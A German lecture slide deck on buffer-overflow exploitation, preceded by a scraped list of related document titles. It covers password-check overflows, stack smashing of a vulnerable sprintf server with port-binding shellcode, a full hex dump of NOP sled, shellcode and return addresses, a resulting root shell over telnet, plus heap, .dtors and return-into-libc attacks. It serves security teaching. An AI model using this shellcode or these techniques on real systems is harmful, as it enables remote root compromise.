Buffer Overflow 1c) Angriffsstring: TTTTTTTTTTTTTTTT (16x) Beachte: Padding GCC-Compiler Zusatz: gcc O2 verhindert hier den Angriff (Code Optimierung)



Ähnliche Dokumente
DLLs (dynamic loaded libraries) mit MingW erstellen

Angewandte IT-Sicherheit

Einführung in die Programmiersprache C

Einführung in die Programmiersprache C

Grundlagen von Python

U23 - Shellcode. Twix Chaos Computer Club Cologne. Motivation Einstieg Der erste Shellcode Nullbytes, NOP Slides

Programmierung in C. Grundlagen. Stefan Kallerhoff

CryptoCampagne. Thomas Funke Fachbereich Informatik Universität Hamburg

Programm(ier)fehler, Exploits und Gegenmaßnahmen

Autor: Uwe Labs Stand: PuTTY in der paedml 3.0 Novell...1

How to install freesshd

Wie man die SLNP-Schnittstelle für ILL2 in ALEPH testet (SLNP2)

Betriebssystem Windows - SSH Secure Shell Client

Softwaren Engineering I

Über die Internetseite Hier werden unter Download/aktuelle Versionen die verschiedenen Module als zip-dateien bereitgestellt.

Security-Webinar. Februar Dr. Christopher Kunz, filoo GmbH

. Nachrichtenübertragung. Internetkommunikation Christof Fox. Wie werden Nachrichten Übertragen?

Leitfaden einrichtung Outlook Stand vom:

Anleitung zur Konfiguration eines NO-IP DynDNS-Accounts mit der TOOLBOXflex-3.2

Scharl 2010 Dokument ist Urheberrechtlich geschützt. Port Forwarding via PuTTY und SSH. Was ist Port forwarding?

Leitfaden einrichtung Outlook Stand vom:

Kurzanleitung WebSphere MQ Funktionen

Beispiel 2a Die eigenen ersten Schritte mit dem Gnu-Debugger GDB für Remote-Debugging

Das erste Programm soll einen Text zum Bildschirm schicken. Es kann mit jedem beliebigen Texteditor erstellt werden.

Einführung in die Programmierung (EPR)

Zählen von Objekten einer bestimmten Klasse

Einführung zum MS Visual Studio

Binäre Bäume. 1. Allgemeines. 2. Funktionsweise. 2.1 Eintragen

Praktikum IT-Sicherheit

Systemsicherheit (SS 2015) 30. April Übungsblatt 2. Buffer-Overflow-Angriffe

OP-LOG

FTP-Leitfaden Inhouse. Benutzerleitfaden

Objektbasierte Entwicklung

Lizenzen auschecken. Was ist zu tun?

Debuggen mit GDB (Gnu DeBugger) unter Eclipse

Download unter:

Exploit-Entwicklung mit Python

Rechnernetze. 6. Übung

ITF2XML. Transferservice. Version 1.0. infogrips GmbH, Zürich client10.doc, Revision 1.1. Tel.: 01 / Fax: 01 /

Karlsruher Institut für Technologie

ftp://ftp.dlink.de/dpr/dpr-1061/documentation/dpr-1061%20printer%20compatible%20list.pdf

SEMINAR Modifikation für die Nutzung des Community Builders

Fakultät Angewandte Informatik Lehrprofessur für Informatik

Installation von horizont 4 bei Verwendung mehrerer Datenbanken

Auto-Provisionierung tiptel 30x0 mit Yeastar MyPBX

Übungen zur Vorlesung Systemsicherheit

- Öffnen Sie Ihren Internet-Browser und geben Sie nacheinander folgende Adressen ein:

Gibt Daten im erweiterten Format aus. Dies beinhaltet die Angabe von Zugriffsrechten, Besitzer, Länge, Zeitpunkt der letzten Änderung und mehr.

Fernwartung von Mac OS 9 u. X per VNC

Diese Anleitung enthält Anweisungen, die nur durch erfahrene Anwender durchgeführt werden sollten!

Adminer: Installationsanleitung

Wiederkehrende Bestellungen. Tipps & Tricks

Bedienungsanleitung für den Dokumentenserver

Anti-Botnet-Beratungszentrum. Windows XP in fünf Schritten absichern

Dr. Monika Meiler. Inhalt

DB2 Kurzeinführung (Windows)

M. Graefenhan Übungen zu C. Blatt 3. Musterlösung

Installation Hardlockserver-Dongle

Um zu prüfen welche Version auf dem betroffenen Client enthalten ist, gehen Sie bitte wie folgt vor:

Verhindert, dass eine Methode überschrieben wird. public final int holekontostand() {...} public final class Girokonto extends Konto {...

ICS-Addin. Benutzerhandbuch. Version: 1.0

1. Man schreibe die folgenden Aussagen jeweils in einen normalen Satz um. Zum Beispiel kann man die Aussage:

Psyprax GmbH. Netzwerk Installation unter XP. Wichtig für alle Netzwerkinstallationen: Psyprax GmbH

Installation und Inbetriebnahme von Microsoft Visual C Express

FrogSure Installation und Konfiguration

==============================!" ==

SFTP SCP - Synology Wiki

Nuetzlicher Kleinkram

Ablaufbeschreibung für das neu Aufsetzen von Firebird und Interbase Datenbanken mit der IBOConsole

Virtual Channel installieren

Um ein solches Dokument zu erzeugen, muss eine Serienbriefvorlage in Word erstellt werden, das auf die von BüroWARE erstellte Datei zugreift.

ITF2XML. Transferservice. Version 1.1. Tel.: 044 / Fax: 044 / CH-8005 Zürich

Anleitung zur Verwendung der VVW-Word-Vorlagen

Handbuch für Nutzer von Zertifikaten der Zertifizierungsstellen (CAs) des Bayerischen Behördennetzes (BYBN) zur Sicherung von s Teil D2:

Windows 7 Winbuilder USB Stick

METTLER TOLEDO USB-Option Installation der Treiber unter Windows XP

Übung zu Grundlagen der Betriebssysteme. 13. Übung

3. Wählen Sie "Internet- " aus und klicken Sie wiederum auf "Weiter".

Benutzerhandbuch für Debian Server mit SAMBA. Rolf Stettler Daniel Tejido Manuel Lässer

Externe Authentifizierung. Externe Authentifizierung IACBOX.COM. Version Deutsch

NTR-Support Die neue Fernwartung

1. Wordpress downloaden

Wie macht man einen Web- oder FTP-Server im lokalen Netzwerk für das Internet sichtbar?

Die Programmiersprache C99: Zusammenfassung

Konfigurationsanleitung Access Control Lists (ACL) Funkwerk. Copyright Stefan Dahler Oktober 2008 Version 1.0.

M-net -Adressen einrichten - Apple iphone

Mit der Maus im Menü links auf den Menüpunkt 'Seiten' gehen und auf 'Erstellen klicken.

Lösung Übungszettel 6

Internet Explorer Version 6

SharePoint-Migration.docx

2. Einrichtung der ODBC-Schnittstelle aus orgamax (für 32-bit-Anwendungen)

Switching. Übung 2 System Management. 2.1 Szenario

Webseiten im PHYSnet. PHYSnet-RZ 9. Mai 2011

Konfiguration LS100. Konfiguration LS100 IACBOX.COM. Version Deutsch

Ingenieurinformatik Diplom-FA (Teil 2, C-Programmierung)

Computer Algebra Plan der Vorlesung. erstes Drittel: linux, emacs, L A TEX zweites Drittel: Sage als Taschenrechner letztes Drittel: Python für Sage

Beschreibung und Bedienungsanleitung. Inhaltsverzeichnis: Abbildungsverzeichnis: Werkzeug für verschlüsselte bpks. Dipl.-Ing.

Transkript:

Buffer Overflow 1c) 1 char passok='f'; 2 char password[8]; 3 printf( Passwort: ); 4 gets(password); 5 if(!strcmp(password, daspassw )){passok = 'T';} 6 if(passok=='t'){printf( %s, Willkommen! );} 7 else {printf( %s, Falsches Passwort! );} Angriffsstring: TTTTTTTTTTTTTTTT (16x) Beachte: Padding GCC-Compiler Zusatz: gcc O2 verhindert hier den Angriff (Code Optimierung) 1

Stack Smashing 1d) Idee: EIP überschreiben und eigenen Shellcode ausführen 2

Stack Smashing 1e) Idee: EIP überschreiben und eigenen Shellcode ausführen Anforderungen an den Exploitstring: 1. String enthält ausführbaren Code 2. Am Ende des Strings steht Adresse mit der EIP überschrieben wird Adresse zeigt auf Code im String 3. Vor dem Code no-ops, da Bufferadresse nur ungefähr abschätzbar Sprung in no-op Bereich 4. Padding-Bytes 3

Anwendung: Serverdienst Servercode: Stack Smashing Beispiel 1-24 25 // uebernimmt Kommunikation mit einem connected client 26 // erwartet einen String und schickt diesen mit einem 'Greetings' davor 27 // zurueck an den Client 28 void communicateserver( int icomsocket ){ 29 char outbuffer[1024]; // ausgehende Daten (dieser Buffer wird fuer den Exploit genutzt) 30 char inbuffer[2048]; // eingehende Daten 31-33 34 // schicke ein Welcome an den gerade verbundenen Client 35 sprintf( outbuffer, "Welcome, awaiting input..." ); 36-46 47 // kopiere den inbuffer (2048 bytes) in den outbuffer (1024 bytes) 48 // hier ist nun ein ueberschreiben des outbuffers moeglich und 49 // dies wird auch vom exploit ausgenutzt 50 sprintf( outbuffer, "Greetings %s\r\n", inbuffer ); 51 4

Normaler Anmeldeprozess: 1 $ > telnet 192.168.0.23 1300 2 Trying 192.168.0.23... 3 Connected to 192.168.0.23. 4 Escape character is '.]'. 5 Welcome, awaiting input...karl 6 Greetings Karl 7 Connection closed by foreign host. Stack Smashing Beispiel 5

Stack Smashing Beispiel Exploit-Programm, port-binding shellcode: 7 char PBShellCode[] = 8 "\x31\xdb" // xor ebx, ebx 9 "\xf7\xe3" // mul ebx 10 "\xb0\x66" // mov al, 102 11-18 19 "\x89\xc7" // mov edi, eax 20 "\x52" // push edx 21 // Die letzen zwei bytes legen fest, 22 // auf welchem Port die Shell geöffnet wird. (Hier 30000) 23 "\x66\x68\x75\x30" // push word 30000 24-62 überschriebene Rücksprungadresse, mehrmals 63 "\x31\xdb\x89\xd8\x40\xcd\x80"; // exit /w return 0 6

Angriff und Serverausgabe: Stack Smashing Beispiel 1 $ >./exploit2 192.168.0.23 1300 4200 0 30000 2 Guessed pointer: 0xbfffef98 3-34 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 (no-ops) 35 90 90 90 90 90 31 db f7 e3 b0 66 53 43 53 43 53 89 e1 4b cd 80 89 (Shellcode) 36 c7 52 66 68 75 30 43 66 53 89 e1 b0 ef f6 d0 50 51 57 89 e1 b0 66 37 cd 80 b0 66 43 43 cd 80 50 50 57 89 e1 43 b0 66 cd 80 89 d9 89 c3 38 b0 3f 49 cd 80 41 e2 f8 51 68 6e 2f 73 68 68 2f 2f 62 69 89 e3 51 39 53 89 e1 b0 f4 f6 d0 cd 80 31 db 89 d8 40 cd 80 90 90 90 90 90 90 40-48 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 49 90 90 90 90 90 90 90 90 90 90 98 ef ff bf 98 ef ff bf 98 ef ff bf 50 98 ef ff bf 98 0 (Rücksprungadresse und NullByte) 7

Stack Smashing Beispiel Exploit: 1 $ > telnet 192.168.0.23 30000 2 Trying 192.168.0.23... 3 Connected to 192.168.0.23. 4 Escape character is '.]'. 5 hostname; 6 target 7 : command not found 8 whoami; 9 root 10 : command not found 11 exit; 12 Connection closed by foreign host. 8

heap-based Exploit 3a) Programm: #include <stdio.h> void main( ) { static char ExBuff[8]; static char importantbyte; importantbyte = 23; printf("important: %x\n", importantbyte ); printf("please enter string: "); gets(exbuff); printf("important now: %x", importantbyte ); } 9

heap-based Exploit 3a) Angriff: #./HeapVarAttack important: 17 Please enter string: AAAAAAAAA important now: 41 10

heap-based Exploit 3a) Angriff: #./HeapVarAttack important: 17 Please enter string: AAAAAAAAA important now: 41 Zu 1c): Variablen in umgekehrter Reihenfolge anordnen 11

.dtors Attacke 3b).ctors: enthält zusätzliche Funktionsadressen, die vor dem Einstiegspunkt aufgerufen werden (Main-Funktion).dtors: enthält zusätzliche Funktionsadressen, die nach Beendigung der Main-Funktion aufgerufen werden Angriff: Eigene Funktionsadresse in.dtors unterbringen 12

.dtors Attacke 3b) Benötigte Daten: Abstand Buffer zu.dtors Shellcode Adresse des Buffers Tools für Datenbeschaffung: objdump gdb 13

Return into libc 3c) Kein Shellcode nötig Programm bietet Funktionen, die über Bibliotheken geladen werden shared library: libc 14

Return into libc 3c) Kein Shellcode nötig Programm bietet Funktionen, die über Bibliotheken geladen werden shared library: libc Anforderungen an einen Angriff: Adressen der Funktionen besorgen aus kompilierten Dateien (ldd, nm) z. B. system() benutzen, um beliebiges Programm zu starten 15